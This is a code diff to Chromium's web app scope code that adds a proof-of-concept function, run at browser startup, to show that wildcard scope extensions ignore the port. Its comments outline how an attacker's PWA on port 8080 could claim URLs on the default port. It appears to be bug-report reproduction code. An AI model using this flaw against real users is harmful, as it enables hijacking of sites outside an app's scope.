diff --git a/chrome/browser/web_applications/web_app_provider.cc b/chrome/browser/web_applications/web_app_provider.cc index c092ae2d194b0..841f78e2e379b 100644 --- a/chrome/browser/web_applications/web_app_provider.cc +++ b/chrome/browser/web_applications/web_app_provider.cc @@ -56,6 +56,7 @@ #include "chrome/browser/web_applications/web_app_profile_deletion_manager.h" #include "chrome/browser/web_applications/web_app_provider_factory.h" #include "chrome/browser/web_applications/web_app_registrar.h" +#include "chrome/browser/web_applications/web_app_scope.h" #include "chrome/browser/web_applications/web_app_sync_bridge.h" #include "chrome/browser/web_applications/web_app_translation_manager.h" #include "chrome/browser/web_applications/web_app_ui_manager.h" @@ -159,6 +160,9 @@ WebAppProvider::~WebAppProvider() = default; void WebAppProvider::Start() { CHECK(!started_); + // POC: demonstrate wildcard scope-extension port confusion at startup. + DemonstrateWildcardPortConfusion(); + ConnectSubsystems(); started_ = true; diff --git a/chrome/browser/web_applications/web_app_scope.cc b/chrome/browser/web_applications/web_app_scope.cc index 2195120ead1b3..ac697e0e04c35 100644 --- a/chrome/browser/web_applications/web_app_scope.cc +++ b/chrome/browser/web_applications/web_app_scope.cc @@ -5,6 +5,7 @@ #include "chrome/browser/web_applications/web_app_scope.h" #include "base/check.h" +#include "base/logging.h" #include "base/containers/flat_set.h" #include "base/numerics/safe_conversions.h" #include "base/numerics/safe_math.h" @@ -76,6 +77,57 @@ int GetScopeExtensionsScore( } // namespace +// --------------------------------------------------------------------------- +// POC: Wildcard scope-extension matcher ignores port. +// Called once from WebAppProvider::Start() to demonstrate that a +// ScopeExtensionInfo declared for https://example.com:8080 with +// has_origin_wildcard=true incorrectly matches https://sub.example.com/ +// (default port 443), because the EndsWith() comparison above drops the port +// on both sides. +// --------------------------------------------------------------------------- +void DemonstrateWildcardPortConfusion() { + // Attacker controls https://example.com:8080 only. After installing a PWA + // with manifest scope_extensions:[{type:"origin", + // origin:"https://*.example.com:8080"}] and serving the matching + // .well-known/web-app-origin-association from port 8080, the browser stores: + ScopeExtensionInfo attacker_ext = ScopeExtensionInfo::CreateForOrigin( + url::Origin::CreateFromNormalizedTuple("https", "example.com", 8080), + /*has_origin_wildcard=*/true); + + base::flat_set validated = {attacker_ext}; + + // Victim later navigates to the legitimate site on the default HTTPS port. + const GURL victim_443("https://sub.example.com/reset?token=SECRET"); + // Same host on the attacker's port (sanity / control case). + const GURL victim_8080("https://sub.example.com:8080/reset?token=SECRET"); + + int score_443 = GetScopeExtensionsScore( + "poc-app", victim_443, validated, + ScoreBehavior::kExitEarlyPositiveNumberFirstMatch); + int score_8080 = GetScopeExtensionsScore( + "poc-app", victim_8080, validated, + ScoreBehavior::kExitEarlyPositiveNumberFirstMatch); + + LOG(ERROR) << "[POC] scope_extension.origin = " + << attacker_ext.origin.Serialize() + << " (port=" << attacker_ext.origin.port() + << ", has_origin_wildcard=true)"; + LOG(ERROR) << "[POC] target " << victim_8080.spec() + << " -> in_scope=" << (score_8080 > 0 ? "true" : "false") + << " (expected: true, same port 8080)"; + LOG(ERROR) << "[POC] target " << victim_443.spec() + << " -> in_scope=" << (score_443 > 0 ? "true" : "false") + << " (expected: false, port 443 != 8080)"; + if (score_443 > 0) { + LOG(ERROR) + << "[POC] *** BUG CONFIRMED *** wildcard scope-extension for port " + "8080 matched a port-443 URL; port was dropped in the host-suffix " + "comparison at GetScopeExtensionsScore()"; + } else { + LOG(ERROR) << "[POC] bug not reproduced (port mismatch correctly rejected)"; + } +} + WebAppScope::WebAppScope( const webapps::AppId& app_id, const GURL& scope, diff --git a/chrome/browser/web_applications/web_app_scope.h b/chrome/browser/web_applications/web_app_scope.h index 646440077f739..7621902e57a4a 100644 --- a/chrome/browser/web_applications/web_app_scope.h +++ b/chrome/browser/web_applications/web_app_scope.h @@ -14,6 +14,9 @@ namespace web_app { class WebApp; +// POC entry point — see web_app_scope.cc. +void DemonstrateWildcardPortConfusion(); + struct WebAppScopeOptions { // Whether to allow an http app scope to match an https url. bool allow_http_to_https_upgrade = false;